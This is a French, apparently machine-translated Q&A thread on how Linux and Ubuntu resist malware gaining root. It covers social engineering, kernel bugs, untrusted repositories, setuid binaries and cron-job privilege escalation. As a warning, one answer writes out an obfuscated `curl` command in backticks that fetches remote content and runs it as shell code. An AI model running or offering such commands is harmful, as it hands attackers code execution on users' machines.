Je comprends que si un logiciel malveillant fait son chemin dans un système Linux, il obtiendra tout au plus un privilège au niveau de l'utilisateur et ruinera tout ce qui est à la portée de l'utilisateur particulier, c'est-à-dire ses propres fichiers.
Mais qu'est-ce qui empêche exactement les malwares d'accéder au niveau racine? Ne peut-il pas en quelque sorte casser le mot de passe de l'intérieur?
Réponses:
C'est une question complexe. Il existe de nombreuses couches de sécurité différentes dans un système Ubuntu, des frameworks complexes comme AppArmor aux humbles variables du noyau comme
mmap_min_addr
. Vous pouvez ajouter des fonctionnalités du noyau comme la randomisation de la mémoire dans le mix. Vous pouvez en trouver une liste ainsi que des explications rapides sur le wiki Ubuntu .Un autre facteur important est que les mises à jour sont à la fois rapides et faciles - la plupart des ordinateurs seront donc mis à jour avec les derniers correctifs de sécurité.
Pour autant que je sache, un attaquant qui a obtenu un accès local à votre ordinateur dispose de trois méthodes pour augmenter les privilèges du noyau:
Crack le mot de passe. Mais cela va être vraiment difficile, le mot de passe est stocké crypté, en utilisant des algorithmes sans faille connue. Il faudra du temps pour le casser.
Bug dans le noyau. Mais toutes les fonctionnalités de sécurité du noyau entraveront.
Tromper l'utilisateur pour donner le mot de passe, c'est-à-dire l'ingénierie sociale. Affichez simplement un faux dialogue de mot de passe ou utilisez une autre astuce. C'est la façon la plus simple de le faire.
Le troisième point est la vulnérabilité la plus faible actuellement.
la source
sudoers
.Le crackage du mot de passe root lui-même n'est pas possible, car Ubuntu a désactivé l'utilisateur root par défaut. Cependant, si votre utilisateur peut devenir root via sudo et que votre mot de passe est facile à deviner / force brute, vous avez un système non sécurisé. Exemple de script essayant de tester un mot de passe:
L'ajout d'un référentiel non approuvé permet d'installer les programmes de ce référentiel. Même si vous n'installez pas explicitement une application comme
sudo apt-get install [app-from-repo]
, le référentiel peut toujours affecter d'autres programmes en faisant croire à Ubuntu que le référentiel contient une version plus récente d'un certain programme.Le processus de mise à jour est exécuté en tant que root, sinon les fichiers n'ont pas pu être écrits dans
/usr/bin
ou/etc
. Un déclencheur d'installation est également exécuté en tant que root et peut s'exécuter de manière arbitraire, et éventuellement, des commandes nuisibles. Maintenant, ne vous inquiétez pas, une action manuelle est nécessaire pour mettre à jour les programmes et les référentiels Ubuntu sont sûrs. Les logiciels à source fermée comme Windows ne peuvent jamais être entièrement fiables car vous ne pouvez pas vérifier la source de code malveillant, mais vous pouvez consulter la source de l'application Ubuntu si vous en avez besoin (ne s'applique pas aux programmes propriétaires commesun-java6
ou Flash).Comme mentionné par Javier Rivera, les bogues du noyau peuvent conduire à l'exécution de code arbitraire, mais les logiciels bogues sont également dangereux, en particulier les
setsuid
binaires racine bogués (binaires qui s'exécuteront sous le propriétaire du fichier, root) et d'autres programmes bogués fonctionnant en tant que root.Vous pouvez créer des failles de sécurité sur votre système si vous ne faites pas attention à ce que vous faites. Par exemple, sans bien comprendre le concept de cronjobs, vous avez ajouté un cronjob dans
/etc/cron.daily
lequel s'exécute un programme dans votre dossier d'accueil (par exemple/bin/sh /home/your-username/myscript.sh
. Si le fichier myscript.sh est accessible en écriture par vous, vous pouvez le supprimer, un exploit pourrait mettre un programme malveillant code dansmyscript.sh
lequel serait exécuté en tant que root (élévation de privilèges).Pour rester en sécurité, utilisez votre esprit! N'exécutez pas de commandes à partir de sources non fiables si vous ne savez pas ce qu'il fait. Si quelqu'un dit courir
`curl 3221233674`
avec des tiques arrières, ne le faites pas. 3221233674 est une autre façon d'écrire192.0.32.10
(IP de example.com). Donc, ce serait égal à:Ces back-ticks entraînent l'exécution de la sortie sous forme de commandes shell. En clair, "Téléchargez la page http://example.com/ et essayez d'exécuter la page téléchargée".
Au début, vous ne verriez pas quelque chose de malveillant dans la commande donnée. Mais maintenant, vous savez que ça peut aussi être abusé.
Vérifiez toujours les commandes / scripts que vous obtenez à partir de sources non fiables, comme Internet.
la source